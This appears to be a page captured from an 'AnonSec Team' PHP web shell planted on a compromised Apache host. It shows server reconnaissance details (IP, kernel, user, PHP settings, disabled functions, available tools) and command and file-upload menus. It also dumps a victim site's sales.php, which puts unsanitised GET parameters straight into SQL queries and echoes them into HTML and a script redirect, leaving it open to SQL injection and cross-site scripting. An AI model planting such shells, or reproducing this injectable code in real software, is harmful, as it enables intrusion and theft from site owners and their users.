AnonSec Team
Server IP : 111.221.42.98  /  Your IP : 216.73.216.86
Web Server : Apache
System : Linux garnet.daxa.net 4.18.0-477.13.1.lve.1.el8.x86_64 #1 SMP Mon Jul 17 15:05:09 EDT 2023 x86_64
User : binoor ( 1145)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/binoor/public_html/formkunjungan.bino.co.id/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/binoor/public_html/formkunjungan.bino.co.id/sales.php
<?php
include "config/database.php";
include "library/controller.php";

$perintah = new lib();

@$table = "salesman";
@$where = "id = $_GET[id]";
@$sales = $_POST['sal'];
if (isset($_POST['1'])) {
    echo "<script>document.location.href='penyedia.php?cab=$_GET[cab]&sal=$sales'</script>";
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Form eKatalog</title>
    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css" />
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
    <link rel="stylesheet" href="css/style.css" />
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/js/standalone/selectize.min.js" integrity="sha256-+C0A5Ilqmu4QcSPxrlGpaZxJ04VjsRjKu+G82kl5UJk=" crossorigin="anonymous"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/css/selectize.bootstrap3.min.css" integrity="sha256-ze/OEYGcFbPRmvCnrSeKbRTtjG4vGLHXgOqsyLFTRjg=" crossorigin="anonymous" />
</head>

<body>
    <div class="container">
        <div class="row col-md-12">
            <div class="stepwizard">
                <div class="stepwizard-row setup-panel">
                    <div class="stepwizard-step col-xs-3">
                        <a href="#step-1" type="button" class="btn btn-success btn-circle">2</a>
                        <p><small>Section 2</small></p>
                    </div>

                </div>
            </div>

            <form role="form" method="post">
                <div class="panel panel-primary setup-content" id="step-1">
                    <div class="panel-heading">
                        <h3 class="panel-title">Pilih Nama Salesman <?php echo $_GET['cab'] ?> </h3>
                    </div>
                    <div class="panel-body">
                        <div class="form-group">
                            <label class="control-label">Nama Sales</label>
                            <select id="select-state" placeholder="Pilih Salesman..." name="sal" required>
                                <option value="">Pilih Salesman...</option>
                                <?php
                                $a = $perintah->tampil($con, "salesman WHERE id_cabang='$_GET[cab]'");
                                if ($a != "") {
                                    foreach ($a as $r) {
                                ?>
                                        <option value="<?php echo @$r['sales'] ?>"><?php echo @$r['sales'] ?>
                                        </option>
                                <?php }
                                }  ?>
                            </select>
                        </div>
                        <button class="btn btn-primary nextBtn pull-right" type="submit" name="1">
                            Next
                        </button>

                    </div>
                </div>
            </form>
        </div>
    </div>
    <script src="js/script.js"></script>
    <script type="text/javascript">
        $(document).ready(function() {
            $('select').selectize({
                sortField: 'text'
            });
        });
    </script>
</body>

</html>

AnonSec - 2021